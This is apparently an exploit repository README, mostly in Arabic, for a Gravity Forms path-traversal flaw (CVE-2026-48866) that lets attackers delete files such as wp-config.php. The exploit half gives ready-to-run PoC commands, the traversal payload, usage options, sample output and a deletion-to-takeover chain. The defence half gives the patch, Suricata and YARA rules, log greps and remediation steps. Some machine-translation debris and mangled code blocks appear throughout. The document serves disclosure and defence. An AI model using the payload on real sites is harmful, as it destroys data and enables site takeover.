
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code> يقبل استخدام <code>../</code> في العناوين URL. يؤدي النقر على زر الحذف من قبل المسؤول إلى حذف ملفات عشوائي.
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">باتشستاك</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">الالتزام المُصحَّح</a> •
<a href="https://github.com/codewurker/gravityforms">مرآة المصدر</a>
</p>
---
## جدول المحتويات
<table>
<tr>
<td width="50%">
**استغلال**
- [البداية السريعة](#quick-start)
- [كيف يعمل](#how-it-works)
- [التأثير](#impact)
- [الاستخدام](#usage)
</td>
<td width="50%">
**دفاع**
- [الغوص الفني](#technical-deep-dive)
- [الكشف](#detection)
- [المعالجة](#remediation)
- [المراجع](#references)
</td>
</tr>
</table>
---
## البداية السريعة```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
يرجى تزويدي بنص الماركداون المراد ترجمته.```bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests
python3 poc.py -t https://test.com -f 1 -i 3
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
---
## كيف يعمل
### تدفق الهجوم```
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION │
│ (Unauthenticated — any visitor) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │
│ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │
│ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │
│ ".../../../../wp-config.php"}] └────────┬─────────┘ │
│ │ │
│ esc_url_raw() → OK (doesn't strip ../) │ │
│ is_valid_url() → OK (../ is valid URL) │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ wp_postmeta │ │
│ │ (entry stored │ │
│ │ WITH ../) │ │
│ └────────┬─────────┘ │
└──────────────────────────────────────────────────────────┼────────────┘
│
┌─────────────────────────────┘
│ (hours, days, or weeks pass...)
▼
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 2 — DELETION │
│ (Admin deletes entry — routine cleanup) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │
│ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │
│ └─────────┘ └────────┬─────────┘ │
│ │ │
│ get_physical_file_path() │ │
│ str_replace(url_base → path_base) │ │
│ ../ SURVIVES in the path │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ unlink() │ │
│ │ │ │
│ │ /var/www/html/ │ │
│ │ wp-config.php │ │
│ │ → DELETED │ │
│ └──────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘
// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php
لا يوجد فحص بين `str_replace()` و `unlink()`. الخلل يكمن في تلك الفجوة.
---
## التأثير
<table>
<tr>
<th>الهدف</th>
<th>التأثير</th>
<th>الشدة</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>الموقع يتوقف. يعرض ووردبريس معالج التثبيت. المهاجم يوجه قاعدة البيانات إلى خادمه الخاص لـ **الاستيلاء الكامل على الموقع**.</td>
<td align="center">حرج</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>إعادة كتابة الروابط وقواعد الأمان اختفت. قوائم الدليل مفتوحة.</td>
<td align="center">عالي</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>يتوقف جدار الحماية Wordfence عن العمل. لا يوجد جدار حماية بين المهاجم والموقع.</td>
<td align="center">عالي</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>لا يتم تحميل الإضافات. يتوقف الموقع عن العمل.</td>
<td align="center">حرج</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>المسؤول مغلق. لا يمكن لأحد تسجيل الدخول حتى تستعيد الملفات.</td>
<td align="center">متوسط</td>
</tr>
</table>
> *"تُستخدم الثغرات مثل هذه في حملات الاستغلال الجماعي التي تستهدف آلاف المواقع في وقت واحد."*
> [إشعار Patchstack، 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)
### سلسلة تصعيد الحذف → RCE```
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Delete │ │ WordPress shows │ │ Attacker sets │
│ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │
└─────────────┘ └──────────────────┘ └────────┬────────┘
│
▼
┌─────────────────┐
│ Full admin │
│ access to site │
│ (RCE via themes │
│ /plugin editor)│
└─────────────────┘
سلسلة RCE تتطلب:
┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘
### سيناريوهات مثال
<details>
<summary><b>السيناريو 1: الحقن الصامت (لا حاجة لبيانات اعتماد المسؤول)</b></summary>```bash
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3
gform_uploaded_files مع تضمين ../../../wp-config.php في الرابط.wp-config.php.وقت التفعيل: غير معروف. يعتمد على سلوك المسؤول. ساعات أو أسابيع.
الوقت اللازم للتنفيذ: ثوانٍ.
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: https://test.com
Form ID: 1
Field ID: 3
File: wp-config.php
Depth: 3
Trigger: True
[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.
[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.
[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!
---
## غوص تقني عميق
### مكدس الاستدعاء: مسار الحقن```
wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH
└─ GF_Ajax_Handler::submit_form()
└─ GFAPI::submit_form()
└─ GFFormDisplay::process_form()
├─ GFFormsModel::set_uploaded_files() [forms_model.php]
│ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../
└─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
└─ get_multifile_value()
├─ GFCommon::is_valid_url($url) ← format-only, ../ passes
└─ $uploaded_files[] = $file['url'] ← STORED WITH ../
GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED
### الثغرة مقابل التصحيح
<table>
<tr>
<th width="50%">الثغرة (≤ 2.10.0.1)</th>
<th width="50%">المصحح (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
GFCommon::get_absolute_path() يحل . و .. عن طريق السير في مقاطع المسار:```php
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
**`GFCommon::is_file_in_uploads()`** يقارن المسار المحلل مقابل جذر التحميلات:```php
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar(
GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
);
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)
### المضيف: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
severity = "critical"
author = "security-research"
strings:
$gform_param = "gform_uploaded_files"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f" nocase
$traversal4 = "..%2f" nocase
$url_key = "\"url\""
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
cve = "CVE-2026-48866"
severity = "high"
strings:
$plugin_id = "gravityforms"
$vuln_func = "delete_physical_file"
$fix_func = "is_file_in_uploads"
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Confirms Gravity Forms has the is_file_in_uploads patch"
cve = "CVE-2026-48866"
severity = "informational"
strings:
$plugin_id = "gravityforms"
$fix_func = "is_file_in_uploads"
$fix_helper = "get_absolute_path"
condition:
$plugin_id and $fix_func and $fix_helper
}
``````bash
# Scan your Gravity Forms installation
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
| القاعدة | وجدت |
|---|---|
CVE_2026_48866_Exploit_Payload | الحمولة المستغلة في سجل HTTP أو نص POST |
CVE_2026_48866_Vulnerable_Plugin | تثبيت Gravity Forms بدون الإصلاح |
CVE_2026_48866_Patched_Plugin | تثبيت Gravity Forms مع الإصلاح |
grep -E 'gform_uploaded_files.(../|%2e%2e)' /var/log/apache2/access.log grep -E 'gform_uploaded_files.(../|%2e%2e)' /var/log/nginx/access.log
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
## المعالجة```
┌─────────────────────────────────────────────────────────────────────────┐
│ REMEDIATION CHECKLIST │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │
│ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │
│ [ ] 3. AUDIT access logs for past exploitation attempts │
│ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │
│ [ ] 5. CHECK file integrity (were any core files already deleted?) │
│ [ ] 6. MONITOR for new entries with suspicious file URLs │
│ │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐ │ LEGAL NOTICE │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │ │ PURPOSES ONLY. Unauthorized access to computer systems is illegal │ │ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │ │ Directive, and equivalent laws worldwide. │ │ │ │ • Always obtain WRITTEN PERMISSION before testing systems you own. │ │ • You are responsible for complying with all applicable laws. │ │ • The authors assume NO LIABILITY for misuse of this software. │ │ │ │ If you find this vulnerability in production: REPORT IT. │ │ Patchstack: https://patchstack.com/database/ │ │ │ └─────────────────────────────────────────────────────────────────────────┘
---
## المراجع
| المصدر | الرابط | الحالة |
|---|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | موثّق |
| Patchstack Advisory | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | موثّق |
| سجل تغييرات Gravity Forms | https://docs.gravityforms.com/gravityforms-change-log/ | موثّق |
| الكود المصدري (مرآة) | https://github.com/codewurker/gravityforms | موثّق |
| الالتزام الضعيف (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | موثّق |
| الالتزام المُصحّح (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | موثّق |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html | موثّق |
| MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 | غير معبأ بعد |
---
<p align="center">
<img src="https://img.shields.io/badge/Made_for-authorized_pentesting-00b4d8?style=flat-square&labelColor=1a1a2e" alt="Authorized pentesting"/>
<img src="https://img.shields.io/badge/Stars_appreciated-%E2%AD%90-ffd93d?style=flat-square&labelColor=1a1a2e" alt="Stars"/>
</p>
| الإصدار | الالتزام | الوصف |
|---|
| v2.10.0 | 86bf7b9 | ثغرة. لا يوجد التحقق من المسار في delete_physical_file() |
| v2.10.1 | cf2ff65 | تم التصحيح. إضافة حارس is_file_in_uploads() قبل unlink() |
| الأولوية | الإجراء | الأمر |
|---|
| P0 | تحديث Gravity Forms | WordPress admin → Plugins → Update |
| P1 | التحقق من التصحيح | grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/ |
| P2 | تدقيق السجلات | grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log |
| P3 | نشر قواعد WAF | انظر قسم Detection أعلاه |